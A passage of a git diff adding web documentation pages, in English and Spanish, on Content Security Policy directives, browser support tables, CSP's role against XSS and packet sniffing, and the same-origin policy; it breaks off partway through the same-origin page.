+<p>The <code>sandbox</code> directive applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. This directive is not supported in the <code>&lt;meta&gt;</code> element or by the <code>Content-Security-policy-Report-Only</code> header field.</p>
+
+<pre>sandbox <em>value</em></pre>
+
+<h3 id="script-src_2"><code>script-src</code></h3>
+
+<p>The <code>script-src</code> directive specifies valid sources for JavaScript. When either the <code>script-src</code> or the <code>default-src</code> directive is included, inline script and <code>eval()</code> are disabled unless you specify 'unsafe-inline' and 'unsafe-eval', respectively.</p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>script-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="style-src"><code>style-src</code></h3>
+
+<p>The <code>style-src</code> directive specifies valid sources for stylesheets. This includes both externally-loaded stylesheets and inline use of the {{ HTMLElement("style") }} element and HTML <code>style</code> attributes. Stylesheets from sources that aren't included in the source list are not requested or loaded. When either the <code>style-src</code> or the <code>default-src</code> directive is included, inline use of the {{ HTMLElement("style") }} element and HTML <code>style</code> attributes are disabled unless you specify 'unsafe-inline'.</p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent, the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>style-src</code> <em><code>source-list</code></em></pre>
+
+<div class="note"><strong>Note:</strong> Firefox currently requires using the same URL scheme and port for the <code>report-uri</code> as the content being protected by Content Security Policy.</div>
+
+<h3 id="upgrade-insecure-requests"><code>upgrade-insecure-requests</code></h3>
+
+<p>The <code>upgrade-insecure-requests</code> directive instructs user agents to treat all of a site's unsecure URL's (those serverd over HTTP) as though they have been replaced with secure URL's (those served over HTTPS). This directive is intended for web sites with large numbers of unsecure legacy URL's that need to be rewritten. </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ specName("Upgrade Insecure Requests")}}</td>
+   <td>{{Spec2('Upgrade Insecure Requests')}}</td>
+   <td>Adds <code>upgrade-insecure-requests</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ specName("CSP 1.1") }}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, <code>reflected-xss</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ specName("CSP 1.0") }}</td>
+   <td>{{Spec2('CSP 1.0')}}</td>
+   <td>Defines <code>connect-src</code>, &gt;<code>default-src</code>, &gt;<code>font-src</code>, &gt;<code>frame-src</code>, &gt;<code>img-src</code>, &gt;<code>media-src</code>, &gt;<code>objects-src</code>, &gt;report-uri,&gt;<code>sandbox</code>, &gt;<code>script-src,</code> and &gt;<code>style-src</code>.&gt;</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">{{CompatUnknown}}
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome{{ref("2")}}</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatChrome(14.0)}} (X-Webkit-CSP)</p>
+
+    <p>{{CompatChrome(25.0)}}</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("2.0")}} (X-Content-Security-Policy)</p>
+
+    <p>{{CompatGeckoDesktop("23.0")}}</p>
+   </td>
+   <td>Edge</td>
+   <td>15</td>
+   <td>
+    <p>6 (X-Webkit-CSP)</p>
+
+    <p>7</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>base-uri</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("35.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>child-src</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>connect-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>default-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>font-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>form-action</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>frame-ancestors</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("33.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>frame-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>img-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>manifest-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>media-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>object-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>plugin-types</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>reflected-xss</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>report-uri</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>script-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>style-src</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>upgrade-insecure-requests</code></p>
+   </td>
+   <td>
+    <p class="p1">{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("42.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Browser{{ref("1")}}</th>
+   <th>Android Webview{{ref("2")}}</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Mobile{{ref("2")}}</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>iOS 7.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>base-uri</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoMobile("35.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>child-src</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>connect-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>default-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>font-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>form-action</code> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>frame-ancestors</code> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoMobile("33.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>frame-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>img-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>manifest-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>media-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>object-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>plugin-types</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>reflected-xss</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>report-uri</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>script-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>style-src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>upgrade-insecure-requests</code></td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Notes">Notes</h2>
+
+<p>{{ref("1")}} Deprecated since Android 4.0.</p>
+
+<p>{{ref("2")}} Starting with version {{CompatChrome(45.0)}}, Chrome excludes <code>blob</code> and <code>filesystem</code> from source directives. Sites needing to allow these content types can specify them using the Data attribute.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Security/CSP/Introducing_Content_Security_Policy" title="en/Security/CSP/Introducing Content Security Policy">Introducing Content Security Policy</a></li>
+ <li><a href="/en/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Using Content Security Policy</a></li>
+ <li><a href="/en/Security/CSP/Using_CSP_violation_reports" title="en/Security/CSP/Using CSP violation reports">Using CSP violation reports</a></li>
+</ul>
diff --git a/files/es/web/security/csp/index.html b/files/es/web/security/csp/index.html
new file mode 100644
index 0000000000..7e92577804
--- /dev/null
+++ b/files/es/web/security/csp/index.html
@@ -0,0 +1,38 @@
+---
+title: CSP (Políticas de Seguridad de Contenido)
+slug: Web/Security/CSP
+tags:
+  - Documento
+  - Referencia
+translation_of: Web/HTTP/CSP
+---
+<div>{{gecko_minversion_header("2.0")}}</div>
+
+<p><strong>Políticas de Seguridad de Contenido </strong>(CSP) es una capa de seguridad adicional que ayuda a detectar y mitigar cierto tipo de ataques, incluyendo <a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a> y ataques de inyección de datos. Estos ataques son usados para cualquier cosa desde robo de datos hasta la alteración de su sitio o distribución de malware.</p>
+
+<p>Aunque las Políticas de Seguridad de Contenido fueron incluidas desde Firefox 4, esa implementación, usando la cabecera <code>X-Content-Security-Policy</code>, es anterior a la existencia de una especificacion formal de CSP. Firefox 23 contiene una implementación actualizada de CSP que usa la cabecera <code>Content-Security-Policy</code> sin prefijo y las directivas como están descritas en la especificación W3C CSP 1.0.</p>
+
+<h2 id="Tópicos_de_Políticas_de_Seguridad_de_Contenido">Tópicos de Políticas de Seguridad de Contenido</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy">Introducción a Políticas de Seguridad de Contenido</a></dt>
+ <dd>Un resumen de que es y como CSP puede hacer su sitio mas seguro.</dd>
+ <dt><a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives">Directivas de Políticas CSP</a></dt>
+ <dd>Una referencia de las directivas de políticas CSP.</dd>
+ <dt><a href="/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy">Usando Políticas de Seguridad de Contenido</a></dt>
+ <dd>Puede ajustar el comportamiento de CSP configurando el conjunto de las políticas. Esto le permite reducir y ajustar la seguridad para tipos individuales de recursos, basado en las necesidades de su sitio. Este artículo describe como configurar CSP, asi como también habilitarlo para el uso en su sitio.</dd>
+ <dt><a href="/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports">Usando reportes de violación de CSP</a></dt>
+ <dd>Como usar los reportes de violación de las Políticas de Seguridad de Contenido para monitorear los intentos de ataque a su sitio y a sus usuarios.</dd>
+ <dt><a href="/en-US/docs/Security/CSP/Default_CSP_restrictions">Restricciones CSP por defecto</a></dt>
+ <dd>Detalles acerca de las restricciones por defecto reforzadas por CSP.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Security">Seguridad</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control">Control de acceso HTTP</a></li>
+ <li><a class="link-https" href="http://www.w3.org/TR/CSP/">Especificación CSP 1.0</a></li>
+ <li><a class="link-https" href="http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html">Especificación CSP 2</a></li>
+ <li><a href="/docs/Apps/CSP">Restricciones CSP para Aplicaciones Web Públicas</a></li>
+</ul>
diff --git a/files/es/web/security/csp/introducing_content_security_policy/index.html b/files/es/web/security/csp/introducing_content_security_policy/index.html
new file mode 100644
index 0000000000..b88c04fcb0
--- /dev/null
+++ b/files/es/web/security/csp/introducing_content_security_policy/index.html
@@ -0,0 +1,56 @@
+---
+title: Introducción a Políticas de Seguridad de Contenido
+slug: Web/Security/CSP/Introducing_Content_Security_Policy
+tags:
+  - Documento
+  - Políticas de Seguridad de Contenido
+  - Referencia
+  - Seguridad
+translation_of: Web/HTTP/CSP
+---
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p><strong>Políticas de Seguridad de Contenido</strong> (CSP) es una capa de seguridad adicional que ayuda a detectar y mitigar cierto tipo de ataques, incluyendo <a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a> y ataques de inyección de datos. Estos ataques son usados para cualquier cosa desde el robo de datos hasta hasta la alteración de su sitio o la distribución de malware.</p>
+
+<p>CSP esta diseñado para ser completamente compatible hacia atras; los navegadores web que no lo soporten todavía pueden trabajar con servidores que las implementen, y viceversa. Los navegadores web que no soporten CSP simplemente la ignoran, funcionando como es normal, usando la política de mismo origen por defecto para contenido web. Si el sitio no tiene la cabecera CSP, los navegadores web usan en su lugar la <a href="/en-US/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">política de mismo origen</a>.</p>
+
+<p>Habilitar CSP tan fácil como configurar su servidor web para retornar la cabecera HTTP <code>Content-Security-Policy</code>. (Antes de Firefox 23, la cabecera <code>X-Content-Security-Policy</code> era usada). Ver <a href="/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Usando Políticas de Seguridad de Contenido</a> para detalles de como configurar y habilitar CSP.</p>
+
+<div class="note"><strong>Nota:</strong> El estándar de Políticas de Seguridad de Contenido <a class="link-https" href="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#meta-http-equiv--x-content-security-policy---html-element" title="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#meta-http-equiv--x-content-security-policy---html-element">especifica</a> que un elemento {{ HTMLElement("meta") }} puede ser usado para configurar una política, pero esta característica todavía no está soportada en Firefox. El soporte para esta característica será añadida según <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=663570" title="https://bugzilla.mozilla.org/show_bug.cgi?id=663570">bug 663570</a>.</div>
+
+<h2 id="Mitigando_cross_site_scripting">Mitigando cross site scripting</h2>
+
+<p>Un objetivo primario de CSP es mitigar y reportar ataques XSS. Los ataques XSS explotan la confianza de los navegadores web en el contenido recibido del servidor. Los scripts maliciosos son ejecutados por la victima del navegador web por que éste confía en el origen del contenido, aún cuando no viene desde donde parece venir.</p>
+
+<p>CSP hace posible a los administradores de servidores reducir o eliminar los vectores por los cuales un ataque XSS puede ocurrir especificando los dominios que el navegador web debe considerar orígenes válidos de scripts ejecutables. Un navegador web compatible con CSP entonces solo ejecutará scripts cargados en archivos fuente recibidos de aquellos dominios permitidos, ignorando todos los demás scripts (incluyendo scripts en línea y atributos HTML de manejo de eventos).</p>
+
+<p>Como una última forma de protección, los sitios que no deseen permitir nunca la ejecución de scripts pueden optar por deshabilitar globalmente la ejecución de scripts.</p>
+
+<h2 id="Mitigando_ataques_de_packet_sniffing">Mitigando ataques de packet sniffing</h2>
+
+<p>En adición a la restricción de los dominos desde los cuales el contenido puede ser cargado, el servidor puede especificar que protocolos son permitidos para su uso; por ejemplo (e idealmente, desde un punto de vista de seguridad), un servidor puede especificar que todo el contenido debe ser cargado usando HTTPS.</p>
+
+<div class="note"><strong>Nota:</strong> Una estrategia de transmisión segura de datos incluye no solo reforzar HTTPS para la transferencia de datos, sino tambien marcar todas las cookies con indicadores seguros y proveer redirecciones automáticas desde páginas HTTP a sus contrapartes en HTTPS.</div>
+
+<div class="note"><strong>Nota:</strong> Los sitios pueden usar tambien la cabecera HTTP  <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security" title="/en/Security/HTTP_Strict_Transport_Security">Strict-Transport-Security</a> para asegurarse de que los navegadores web se conecten solo a traves de un canal encriptado.</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Usando las Políticas de Seguridad de Contenido</a></li>
+ <li><a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives" title="en/Security/CSP/CSP policy directives">Directivas de políticas CSP</a></li>
+ <li><a href="/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports" title="en/Security/CSP/Using CSP violation reports">Usando reportes de violación de CSP</a></li>
+</ul>
+
+<h2 id="Especificación">Especificación</h2>
+
+<ul>
+ <li>{{ spec("https://w3c.github.io/webappsec/specs/content-security-policy/", "Políticas de Seguridad de Contenidos (Borradores de Editores)") }}</li>
+ <li>{{ spec("http://www.w3.org/TR/CSP/", "Políticas de Seguridad de Contenido (Recomendación Candidata)") }}</li>
+</ul>
+
+<div class="noinclude">
+<p>{{ languages( { "ja": "ja/Introducing_Content_Security_Policy" } ) }}</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/security/index.html b/files/es/web/security/index.html
new file mode 100644
index 0000000000..e08146e8a8
--- /dev/null
+++ b/files/es/web/security/index.html
@@ -0,0 +1,17 @@
+---
+title: Seguridad Web
+slug: Web/Security
+tags:
+  - Landing
+  - NeedsTranslation
+  - Security
+  - TopicStub
+translation_of: Web/Security
+---
+<div class="summary">
+<p>Asegurarse de que su sitio o aplicación web es segura es fundamental. Incluso un simple error en tu código puede dar como resultado que tu información privada sea filtrada y gente mala está ahí fuera intentando encontrar la manera de robar datos. Estos artículos proporcionan información que puede ayudarle a asegurar tu sitio y su código de ataques y robo de información.</p>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/es/web/security/same-origin_politica/index.html b/files/es/web/security/same-origin_politica/index.html
new file mode 100644
index 0000000000..8d3ab6ee4b
--- /dev/null
+++ b/files/es/web/security/same-origin_politica/index.html
@@ -0,0 +1,271 @@
+---
+title: Política Same-origin
+slug: Web/Security/Same-origin_politica
+tags:
+  - CORS
+  - JavaScript
+  - Mismo-Origen
+  - Política Same-Origin
+  - Seguridad
+translation_of: Web/Security/Same-origin_policy
+---
+<p>La política same-origin (mismo-origen) restringe cómo un documento o script cargado desde un origen puede interactuar con un rescurso de otro origen. Es un mecanismo de seguridad crítico para aislar documentos potencialmente maliciosos.</p>
+
+<h2 id="Definición_de_origen">Definición de origen</h2>
+
+<p>Dos páginas tienen el mismo origen si el protocolo, puerto (si es especificado) y host son los mismo para ambas páginas. Verá esto a veces referido como la tupla esquema/host/puerto" (donde una "tupla" es un conjunto de componentes que juntos forman un todo).</p>
+
+<p>La siguiente tabla muestra ejemplos de comparaciones de origenes para la URL <code>http://store.company.com/dir/page.html</code>:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>URL</th>
+   <th>Resultado</th>
+   <th>Razón</th>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir2/other.html</code></td>
+   <td>Mismo origen</td>
+   <td>Solo la ruta difiere</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir/inner/another.html</code></td>
+   <td>Mismo origen</td>
+   <td>Solo la ruta difiere</td>
+  </tr>
+  <tr>
+   <td><code>https://store.company.com/secure.html</code></td>
+   <td>Fallo</td>
+   <td>Diferente protocolo</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com:81/dir/etc.html</code></td>
+   <td>Fallo</td>
+   <td>Diferente puerto</td>
+  </tr>
+  <tr>
+   <td><code>http://news.company.com/dir/other.html</code></td>
+   <td>Fallo</td>
+   <td>Diferente host</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ver también <a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="Same-origin_policy_for_file:_URIs">definición de origen para <code>file:</code> URLs</a>, puesto que su comparación es más complicada.</p>
+
+<h3 id="Orígenes_heredados">Orígenes heredados</h3>
+
+<p>Los scripts ejecutados desde páginas con una URL <code>about:blank</code> o <code>javascript:</code> heredan el origen del documento que contiene esa URL, puesto que esos tipos de URLs no contienen información sobre un servidor de origen.</p>
+
+<div class="blockIndicator note">
